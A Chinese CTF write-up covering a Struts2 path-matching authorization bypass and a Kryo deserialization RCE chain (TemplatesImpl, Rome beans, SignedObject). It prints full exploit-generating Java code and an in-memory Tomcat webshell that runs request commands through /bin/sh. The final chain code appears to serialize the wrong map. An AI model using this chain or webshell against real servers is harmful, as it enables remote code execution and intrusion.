Easy_S2#
这题主要考察的是Struts2的路径匹配规则以及Java Web中的Security-Constraint安全约束选项。题目附件是一个.war包,将其解压之后可以直接通过Tomcat部署,代码实现也很简单。通过web.xml可以了解到整个网站的路由都被导向了中间Struts2,同时有两条安全约束项:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
| <?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
version="3.1">
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<!-- 整个网站的路由都由Struts2处理 -->
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<!-- /img/* 和 /index.jsp 不需要认证即可访问 -->
<security-constraint>
<display-name>pass-static</display-name>
<web-resource-collection>
<web-resource-name>static</web-resource-name>
<url-pattern>/img/*</url-pattern>
<url-pattern>/index.jsp</url-pattern>
</web-resource-collection>
</security-constraint>
<security-constraint>
<display-name>interceptor</display-name>
<web-resource-collection>
<web-resource-name>flag</web-resource-name>
<url-pattern>/*</url-pattern>
</web-resource-collection>
<auth-constraint/> <!-- 剩下的路由需要认证才能访问 -->
</security-constraint>
<login-config> <!-- 认证方式为Basic Auth -->
<auth-method>BASIC</auth-method>
</login-config>
</web-app>
|
因为这两条安全约束项的存在,访问被限制为只有路由/img/*
和/index.jsp
可以直接访问,其余的若没有经过认证则会返回403。但现在没有有关认证用户密码相关的任何信息,于是先看看其他的配置文件。在WEB-INF/classes/struts.xml中,定义了Struts2的路由规则:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<constant name="struts.action.extension" value="do"></constant>
<constant name="struts.devMode" value="false" />
<package name="struts2" extends="struts-default">
<action name="index">
<result>/index.jsp</result>
</action>
<action name="flag" class="com.mycompany.helloworld.action.FlagAction">
<result>/WEB-INF/views/jsp/layouts/flag.jsp</result>
</action>
</package>
</struts>
|
配置文件里将路由名称的后缀修改为了do
,除此之外有index
和flag
两个路由,index
对应一个静态页面没啥好看的,flag
对应handler是一个类,将其反编译可以发现就是读了/flag文件。
根据前面设置的安全约束已经知道直接访问/flag.do
和/index.do
都是会返回403的,此时就需要对Struts2的路径匹配规则有所了解。在Struts的官方文档中有下面一段话:
https://struts.apache.org/core-developers/namespace-configuration
Namespace are not hierarchical like a file system path. There is one namespace level. For example if the URL /barspace/myspace/bar.action
is requested, the framework will first look for namespace /barspace/myspace
. If the action does not exist at /barspace/myspace
, the search will immediately fall back to the default namespace ""
. The framework will not parse the namespace into a series of “folders”.
说的就是Struts中并不把URI中的路径当作是类似文件系统中的层次化目录来看。当Struts获取到一个URI时,首先匹配其命名空间(Namespace)。若匹配到,无论其后面跟了多少层路径,最后Struts只是继续匹配一个Action而已,将其后跟的所有路径都忽略掉;若没有匹配到,则Struts将顺着URI逐级向上继续搜索命名空间并匹配;若没有任何命名空间匹配,最终就会fallback到默认的命名空间,即/
。下面以URI/114/514/1919810.action
为例,Struts的匹配流程如下:
- 匹配命名空间
/114/514
,若存在则匹配里面名为1919810
的Action; - 若不存在则尝试匹配命名空间
/114
,匹配里面名为1919810
的Action; - 若仍然不存在,则fallback到默认命名空间
/
,匹配里面名为1919810
的Action; - 若默认命名空间里面找不到名为
1919810
的Action,则返回404。
在命名空间内,Struts只匹配Action的名称是否一致。以题目中的路径匹配为例,URI /test/any/index.do
和/index.do
的效果是一致的,最终导向index
Action的匹配。
因此这题的思路就一目了然了,由于/img路由没有访问控制,/img/flag.do
和/flag.do
匹配到的Action是一致的,所以访问/img/flag.do
即可得到Flag。
![](https://pic.hujiekang.top/uploads/big/054d04f8cd6c186e7d2c907bcb022d34.png)
Babychain#
第一次认真做Java反序列化的题目,以复现和学习为主了,写的比较片面
附件是一个JAR包,使用IDEA可以直接下断点调试。参考教程
代码也很简单,Spring开了个接口,读取名为kko
的Header值,Base64解码之后交给Kryo进行反序列化。首先查看了一下这个JAR的依赖包,发现里面有Rome,搜索之后发现可以用来构造反序列化链,最终是用了TemplateImpl+Rome+SignedObject实现了RCE。
需要注意的是,题目中用到的Kryo版本是4.0.2,在Kryo5.0版本之前,其默认registrationRequired
成员未初始化,即默认为false
,意为可以直接序列化/反序列化未在Kryo中注册的类。在Kryo5.0版本及更新版本中,registrationRequired
成员为true
,则只允许对在Kryo中已注册的类进行序列化/反序列化。可以使用Kryo#setRegistrationRequired()
方法来设置这个成员的值,题目中也将其设置成了false
。默认情况下,Kryo中仅注册了Java的基本数据类型:
1
2
3
4
5
6
7
8
9
| register(int.class, new IntSerializer());
register(String.class, new StringSerializer());
register(float.class, new FloatSerializer());
register(boolean.class, new BooleanSerializer());
register(byte.class, new ByteSerializer());
register(char.class, new CharSerializer());
register(short.class, new ShortSerializer());
register(long.class, new LongSerializer());
register(double.class, new DoubleSerializer());
|
TemplatesImpl加载字节码#
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
中定义了一个内部类TransletClassLoader
,其实现了loadClass
和defineClass
两个方法,前者的权限声明是public
,后者没有声明即为default
,也就意味着外部可以直接调用这两个方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
|
但实际还是有限制的,因为这个类是一个静态类,所以只能在TemplatesImpl包内调用。于是继续看看TemplatesImpl中哪里调用了这个ClassLoader,很容易找到只有一处:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
| private void defineTransletClasses() throws TransformerConfigurationException {
// 省略......
// 此处创建了ClassLoader
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
// 此处调用了defineClass
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// 检查解析出的类是否为
// com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
// 的子类
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
// 省略......
}
// 省略......
}
|
继续向上层搜索,可以摸出来两条调用链:
1
2
3
4
5
6
7
8
9
10
11
| // Chain 1
TemplatesImpl#getOutputProperties <--- EntryPoint 1
TemplatesImpl#newTransformer <--- EntryPoint 2
TemplatesImpl#getTransletInstance
TemplatesImpl#defineTransletClasses
TemplatesImpl.TransletClassLoader#defineClass
// Chain 2
TemplatesImpl#getTransletIndex
TemplatesImpl#defineTransletClasses
TemplatesImpl.TransletClassLoader#defineClass
|
但这其中的第二条链是没法生效的,原因在于defineClass
并不会实例化对象。第一条链中的getTransletInstance
方法不但加载了类,还手动调用了newInstance
来实例化;而第二条链中的getTransletIndex
没有。
注意一点,在defineClass
被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static
块中,在defineClass
时也无法被直接调用到。所以,如果我们要使用defineClass
在目标机器上执行任意代码,需要想办法调用构造函数。
——摘自Java安全漫谈
分析调用过程和源码,可以得到触发字节码加载的要求:
TemplatesImpl._name
不能为null
TemplatesImpl._tfactory
必须实例化- 被加载的类必须是
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
的子类
Rome反序列化链#
反序列化链发生在Rome包的几个Bean类中(类前缀com.sun.syndication.feed.impl,新版本变成了com.rometools.rome.feed.impl):
- ObjectBean(本身没有触发其他类方法的代码,但是该类初始化会为当前对象创建下面三个Bean类的实例)
- EqualsBean
- ToStringBean
- CloneableBean
最终反序列化链的触发点在于每一个Bean类中都有的类似代码段(下面以EqualsBean#beanEquals
为例):
1
2
3
4
5
6
7
8
9
10
11
12
13
| PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; eq && i < pds.length; ++i) {
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null &&
pReadMethod.getDeclaringClass() != Object.class &&
pReadMethod.getParameterTypes().length == 0) {
Object value1 = pReadMethod.invoke(bean1, NO_PARAMS);
Object value2 = pReadMethod.invoke(bean2, NO_PARAMS);
eq = this.doEquals(value1, value2);
}
}
}
|
这段代码读取了其包含类的所有Public的Getter,然后直接使用反射来逐一的调用了这些Getter。这段代码分别出现在以下方法中:
EqualsBean#beanEquals
(对该类调用equals
方法时调用)ToStringBean#toString(String)
(对该类调用ToString
方法时调用)CloneableBean#beanClone
(对该类调用clone
方法时调用)
能看出这些Bean类本身是不存在加载任何字节码或是其他代码的操作的,但是由于Bean这个标准的灵活性以及其应用的广泛性,使得这几个Bean类能够包容万物,起着一个触发性容器类的作用。于是乎,只需要寻找一个类,能够通过一个Public Getter就能执行恶意代码,就可以实现目的。上面的TemplatesImpl就很好的符合这个要求。
尝试构造Payload(Payload.class装载恶意代码,在后文给出):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
| import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;
import org.objenesis.strategy.StdInstantiatorStrategy;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.HashMap;
public class chain {
public static void main(String[] args) throws Exception {
TemplatesImpl ti = new TemplatesImpl();
Reflections.setFieldValue(ti, "_bytecodes", new byte[][] {ClassPool.getDefault().get(Payload.class.getName()).toBytecode()});
Reflections.setFieldValue(ti, "_name", "1");
Reflections.setFieldValue(ti, "_tfactory", new TransformerFactoryImpl());
ToStringBean delegate = new ToStringBean(Templates.class, ti);
EqualsBean root = new EqualsBean(ToStringBean.class, delegate);
HashMap<Object, Object> hashmap = makeMap(root, root);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Kryo kryo = new Kryo();
kryo.setRegistrationRequired(false);
kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());
Output o = new Output(baos);
kryo.writeClassAndObject(o, hashmap);
o.close();
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
return s;
}
}
|
发现并没有触发,下断点调试之后发现在Kryo反序列化的TemplatesImpl类实例中_tfactory
成员的值为null
:
![](https://pic.hujiekang.top/uploads/big/14b21132dc7a65b99d4b72634086ad62.png)
这使得在TemplatesImpl#defineTransletClasses
方法中调用_tfactory
的方法时出现了NullPointerException
:
1
2
3
4
5
6
7
8
9
10
11
12
13
| private void defineTransletClasses() throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
// 此处调用了_tfactory.getExternalExtensionsMap()
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
// .....
|
一开始百思不得其解,因为在构造序列化Payload的时候这个成员是实例化了的,直到发现_tfactory
的声明是带了transient
关键字的,序列化和反序列化默认都不会处理带有这个关键字的成员值,除非对应类重写了writeObject
和readObject
方法,且里面对transient
成员做了处理。同样的,一些Java第三方序列化库也是不支持序列化/反序列化transient
成员的,包括Kryo。
其次,关于反序列化部分需要清楚如下几点:
- 关于Hessian2,Hessian2Input与Hessian2Output均不能对
transient
修饰的成员进行序列化或者反序列化 - 对于ObjectInput与ObjectOutput,除非相关类对
readObject
或者writeObject
进行了重写,否则也无法对transient
修饰的成员的变量做操作 - TemplateImpl的
_tfactory
属性虽然是transient
修饰,但其重写了readObject
方法,方法中会生成_tfactory
的实例,这或许在本文需要着重注意。
——关于Hessian2二次反序列化中我学到了几点 - 先知社区
查看源码,发现在TemplatesImpl#readObject
方法的最后一行对_tfactory
做了实例化,这也就是使用Java内置序列化API能够正常序列化而这里使用Kryo就不行的原因。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| private void readObject(ObjectInputStream is) throws IOException, ClassNotFoundException {
SecurityManager security = System.getSecurityManager();
if (security != null){
String temp = SecuritySupport.getSystemProperty(DESERIALIZE_TRANSLET);
if (temp == null || !(temp.length()==0 || temp.equalsIgnoreCase("true"))) {
ErrorMsg err = new ErrorMsg(ErrorMsg.DESERIALIZE_TRANSLET_ERR);
throw new UnsupportedOperationException(err.toString());
}
}
// We have to read serialized fields first.
ObjectInputStream.GetField gf = is.readFields();
_name = (String)gf.get("_name", null);
_bytecodes = (byte[][])gf.get("_bytecodes", null);
_class = (Class[])gf.get("_class", null);
_transletIndex = gf.get("_transletIndex", -1);
_outputProperties = (Properties)gf.get("_outputProperties", null);
_indentNumber = gf.get("_indentNumber", 0);
if (is.readBoolean()) {
_uriResolver = (URIResolver) is.readObject();
}
_tfactory = new TransformerFactoryImpl();
}
|
也就是说在Kryo的序列化环境下单靠TemplatesImpl+Rome的链子是打不通的,于是一顿搜索发现一些其他的WP中用到了SignedObject这个对象。
SignedObject二次反序列化#
SignedObject是java.security
下的一个对象,顾名思义就是创建了一个签过名的对象。这个对象的神奇之处在于它要求传入的对象必须是Serializable
,而且在构造函数里就会把这个对象直接序列化。通过调用SignedObject#getObject
方法又可以将这个对象反序列化并返回。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| public SignedObject(Serializable object, PrivateKey signingKey, Signature signingEngine)
throws IOException, InvalidKeyException, SignatureException {
ByteArrayOutputStream b = new ByteArrayOutputStream();
ObjectOutput a = new ObjectOutputStream(b);
a.writeObject(object);
a.flush();
a.close();
this.content = b.toByteArray();
b.close();
this.sign(signingKey, signingEngine);
}
public Object getObject() throws IOException, ClassNotFoundException {
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}
|
会发现SignedObject这个对象也符合Rome链的触发原理,而且这个类使用的是Java内置序列化API,因此此处可以通过SignedObject来进行二次反序列化:
- 通过Rome调用到
SignedObject#getObject
- 反序列化包含TemplatesImpl的Rome Bean类
- 触发TemplatesImpl的字节码加载
调试分析#
根据二次序列化包装出来的对象,可以通过下面这个图来展示。图中黄色的高亮处即为触发反序列化的点,最终执行的即为TemplatesImpl里包含的恶意类字节码。
![](https://pic.hujiekang.top/uploads/big/b1bc51914c916bfee37b11a5ccd16662.png)
Kryo在反序列化Hashmap的时候,最终会调用Hashmap#put
方法来还原其内容(当然Java原生反序列化在还原的时候也会调用):
![](https://pic.hujiekang.top/uploads/big/24ecb6c34e4483d83ef0dc182a341665.png)
进一步会调用HashMap#putVal
,可以看见里面调用了hash(key)
来取Key的Hashcode
:
![](https://pic.hujiekang.top/uploads/big/5d89121d254e9553e3e2cb011e42b912.png)
hash()
方法会调用Key对象的hashCode()
方法:
![](https://pic.hujiekang.top/uploads/big/b06cf8d83fe397441bcf8bca0ef8a259.png)
此时Hashmap的Key是一个EqualsBean对象,因此跳到EqualsBean#hashCode
,调用了_obj.toString().hashCode()
:
![](https://pic.hujiekang.top/uploads/big/a2c6a6418953eeff75ca95c8246da6c9.png)
这里的_obj
是ToStringBean对象,继续来到ToStringBean#toString()
,然后调用私有方法ToStringBean#toString(String)
:
![](https://pic.hujiekang.top/uploads/big/89fcf1cdfb317d1e51a4ee2dd67a5bb4.png)
这里开始遍历ToStringBean包含的对象的所有公共Getter并且调用,继续向下走能看见获取到了类的所有Getter,通过pReadMethod.invoke(this._obj, NO_PARAMS)
进行反射调用。
![](https://pic.hujiekang.top/uploads/big/fd497b52b04777c09cebc06b454f3213.png)
于是继续就能执行SignedObject#getObject方法,从而还原第二层Hashmap对象:
![](https://pic.hujiekang.top/uploads/big/d13ae62e9aff866a05ca5b32bf389edf.png)
然后又进行一轮相同的EqualsBean到ToStringBean的调用,最终调用到TemplatesImpl#getOutputProperties
:
![](https://pic.hujiekang.top/uploads/medium/95c370cd0644e8431d95f1c5d1b42352.png)
之后就进入TemplatesImpl的字节码加载链,最终在TemplatesImpl#getTransletInstance
里面从字节码中创建了恶意类的对象(即图中的LitangDingZhen.class
):
![](https://pic.hujiekang.top/uploads/big/d2f886c8d9618c0f8dc79441f6c16493.png)
最终的Payload如下,要加载的类字节码是网上找的一个内存马实现,似乎还有长度限制但这个内存马的长度并没有超过,有关内存马和Payload长度缩短的打算再专门研究一下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
| import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;
import org.objenesis.strategy.StdInstantiatorStrategy;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
public class chain {
public static void main(String[] args) throws Exception {
TemplatesImpl ti = new TemplatesImpl();
Reflections.setFieldValue(ti, "_bytecodes", new byte[][] {ClassPool.getDefault().get(Payload.class.getName()).toBytecode()});
Reflections.setFieldValue(ti, "_name", "1");
Reflections.setFieldValue(ti, "_tfactory", new TransformerFactoryImpl());
ToStringBean delegate = new ToStringBean(Templates.class, ti);
EqualsBean root = new EqualsBean(ToStringBean.class, delegate);
HashMap<Object, Object> hashmap = makeMap(root, root);
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance(privateKey.getAlgorithm());
SignedObject signedObject = new SignedObject(hashmap, privateKey, signature);
ToStringBean item = new ToStringBean(SignedObject.class, signedObject);
EqualsBean root1 = new EqualsBean(ToStringBean.class, item);
HashMap<Object, Object> hashmap1 = makeMap(root1,"");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Kryo kryo = new Kryo();
kryo.setRegistrationRequired(false);
kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());
Output o = new Output(baos);
kryo.writeClassAndObject(o, hashmap);
o.close();
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
return s;
}
}
|
内存马:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
| import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import java.io.Writer;
import java.lang.reflect.Field;
import java.util.Scanner;
public class Payload extends AbstractTranslet {
static {
try {
RequestFacade requestFacade = (RequestFacade) ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
Field req = requestFacade.getClass().getDeclaredField("request");
req.setAccessible(true);
Request request = (Request) req.get(requestFacade);
Response response = request.getResponse();
String cmd = request.getParameter("cmd");
if (cmd != null) {
Writer writer = response.getWriter();
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set(response, Boolean.FALSE);
String o = "";
ProcessBuilder p = new ProcessBuilder("/bin/sh", "-c", cmd);
Scanner c = new Scanner(p.start().getInputStream()).useDelimiter("\\\\A");
o = c.hasNext() ? c.next(): o;
System.out.println("called");
c.close();
writer.write(o);
writer.flush();
}
} catch (Exception e) {
e.printStackTrace();
}
}
public Payload(){}
@Override
public void transform(DOM document, SerializationHandler[] handlers) {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}
|
Reference#
Do Not Touch My Localhost#
// TODO